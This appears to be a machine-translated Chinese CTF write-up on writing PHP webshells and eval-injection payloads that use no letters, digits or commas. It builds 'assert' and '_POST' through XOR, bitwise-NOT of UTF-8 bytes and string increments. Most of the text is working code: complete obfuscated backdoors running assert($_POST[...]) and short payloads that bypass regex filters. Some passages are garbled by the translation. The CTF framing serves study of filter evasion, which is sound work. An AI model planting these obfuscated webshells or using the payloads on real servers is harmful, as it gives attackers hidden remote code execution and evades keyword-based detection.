首先看一下P大师的文章《一些不包含数字和字母的webshell》
还有这位大师的《记得用webshell踩过的一个坑(如何用PHP编译一个不包含数字和字母的侧门)》
太强。 本文是在两位大师文章的基础上写成的。
CTF遇到了regex过滤字母、数字和逗号的问题,发现了一些PHP的风骚坐姿,觉得有必要总结一下。
另外声明一下,本文不是讲如何写打包,而是讲CTF中一些风骚坐姿的应用,但高手其实可以用这种坐姿来构造自己的打包。
后知识PHP中异或(^)的概念
<?php
echo"A"^"?";
?>
输出的结果是字符“~”,这是由于代码对字符“A”和字符“?”进行了异或。 在PHP中对两个变量进行异或时,首先将字符串转换为ASCII值,然后将ASCII值转换为二进制补码,然后进行异或,将结果从二进制补码转换为ASCII值异或后。 然后转换为字符串。
A 的 ASCII 值是 65,对应的二进制值是 01000001
? 的 ASCII 值是 63,对应的二进制值是 00111111
异或的二进制的值是 10000000
二进制补码对应的ASCII是126,也就是字符“~”。
比如非字母PHP侧门
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
甚至可以将上面的代码合并为一行,从而使程序的可读性更差:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
PHP中否定(~)的概念
我们来看一个汉字“和”
>>>print("和".encode('utf8'))
b'xe5x92x8c'
>>>print("和".encode('utf8')[2])
140
>>>print(~"和".encode('utf8')[2])
-141
“and”第三个字节的值为140[0x8c],取反后的值为-141
正数用十六进制补码表示,一般采用原码方式表示。 正数的底数是它自己的值,每一个都取负数,最后加一。 141的16进制补码是0xffxff73,在php中chr(0xffxff73)==115,115就是s的ASCII值。
<?php
$_="和";
print(~($_{2}));
print(~"x8c");
?>
这两个拼写具有相同的性质
结果会输出:ss
构造没有数字的数字
借助PHP的弱类型特性,true的值为1,所以true+true==2。
$_=('>'>'<')+('>'>'<')
print($_)
print($_/$_)
结果将输出:21
php中未定义变量的默认值是null,null==false==0,所以我们可以通过增加未定义变量来得到一个数字,而不需要使用任何数字。
<?php
$_++;
print($_);
?>
结果会输出:1
没有数字和字母的外壳
在谈论编写不带数字、字母和逗号的 shell 之前,我们首先了解一下 shell 是不带数字和字母编写的。 虽然学习是循序渐进的。 而且是否使用逗号并不是什么大问题,因为PHP太灵活了。 代码:
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
思路
对字母和数字以外的字符进行各种变换后php 字符串编码,可以构造出az中的任意字符。 然后借助PHP允许动态函数执行的特性,在拼接处拼接一个“assert”这样的函数名,然后动态执行。
非字母或数字的字符与字母进行异或运算
不可复制的字符,用url编码表示。
<?php
$_=(''^'`').(''^'`').(''^'`').(''^'`').(''^'`').(''^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
您还可以使用较短的字符,这将在下面使用。
"`{{{"^"?/"//_GET
^ 对两边对应的字符串进行异或。
反转非字母和数字字符以生成字母
借助UTF-8编码的某个汉字,去掉其中一个字符,反转为一个字母。汉字的utf8是三个字节,{2}表示第三个字节
<?php
header("Content-Type:text/html;charset=utf-8");
$__=('>'>'<')+('>'>'<');//$__=2
$_=$__/$__;//$_=1
$___="瞰";
$____="和";
print(~($___{$_}));
echo"
";
print(~($____{$__}));
有效负载
<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST
$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
还有一种简写方式 ${~"xa0xb8xbaxab"} 等于 $_GET。 这相当于直接提取utf8编码的某个字节并统一反转。
php 自增/自减运算符
这些技术的明显缺点是它们需要大量字符。
'a'++=>'b'、'b'++=>'c',只要我们能得到一个值为a的变量,通过自增操作就可以得到az中的所有字符。
链表(Array)的第一个字母是小写A,第四个字母是大写a。 在PHP中,如果强行连接链表和字符串,链表会被转换为值为Array的字符串。 然后取这个字符串的第一个字母,就可以得到'A'。
由于PHP函数不区分大小写,所以最终执行的是ASSERT($POST[]),不需要获取大写的a。
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
不使用数字和字母编写 shell 的示例
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
要求代码宽度不能小于40,输入不能仅限于字母和数字。 借助PHP允许动态函数执行的特性,可以拼接出一个函数名getFlag(),然后动态执行。
这里还是可以用异或,但是里面写的字符宽度太长了。 需要简明扼要地写:
有效负载
?code=$_="`{{{"^"?/";${$_}[_](${$_}[__]);&_=getFlag
这里的“`{{{”^”?/”已经说了,它是XOR的简写,意思是_GET。
${$_}[_](${$_}[__]); 等于 $_GET[_]($_GET[__]);
传递 _ 作为参数并执行 getFlag()
其实这个问题也是可以反过来的,不过下面会提到,这里就不重复了。
不带数字、字母和逗号的 shell 编写示例
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
没有给出逗号,这是非常可怕的。 这意味着无法定义变量,也无法构造数字。 但在PHP的灵活性面前,问题并不大。
这是学长一开始给的payload,+号必须加破折号
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();
51个字符太长,所以这里可以使用简洁的书写方式
('$').("`{{{"^"?/").(['+'])&+=getFlag();
但这不可能成功。
学长给出了解释:eval只能解析一次代码,所以如果你写了像ab这样的字符串拼接,它只会执行这次拼接,而不会执行代码
例如:
eval($_GET['b']) 上面的 url b=phpinfo(); 此时相当于eval('phpinfo();')
eval($_GET['b']) 上面的 url b=$_GET[c]&c=phpinfo(); 相当于 eval('$_GET[c]')
里面的payload为code=$_GET['+']&+=getFlag(); 也就是说,eval('$_GET['+'])不会执行getFlag();
正确的有效负载是:
${"`{{{"^"?/"}['+']();&+=getFlag
这里,${}中的代码被用来执行可执行,尽管它也是一个可变变量。
<?php
$a='hello';
$$a='world';
echo"$a${$a}";
?>
输出:helloworld
${$a},括号里的$a是可执行的,就变成hello了。
负载中的 {} 也是基于此原理。 异或在{}中使用,^在{}中执行,即异或运算在上面提到的“`{{{”^”?/”中执行,这在_GET上相当。
最后eval函数连接字符串`$_GET'+'`;,然后传入+=getFlag,最后执行函数getFlag();
429个掠食者给出的有效载荷:
%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
这里使用了否定
~取反操作是在{}中进行的,所以${~"xa0xb8xbaxab"}的取反相当于$_GET。
与之前的有效负载类似,$_GET['+'](); 连接起来,传入 +=getFlag() 来执行该函数。
还有一个串联的有效负载:
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
原理和太原不同,$ah=getFlag;$ah();,这里不需要使用{},因为取反的值直接作为字符串参数给$ah。
总结
PHP是弱类型语言,所以我们可以利用这个特性来执行很多特殊的操作,即用各种姿势来达到同一个目的。 不过,随着PHP版本的变化,PHP的一些特性也会发生变化。 例如php5中的assert是一个函数php 字符串编码,但是在php7中,assert不再是一个函数,而是一个语言结构(类似eval),不能再作为函数名。 动态执行代码。 为此,我们需要更加熟悉php不同版本之间的差异。
不要忘记贡献
你有很好的技术原创文章
发表评论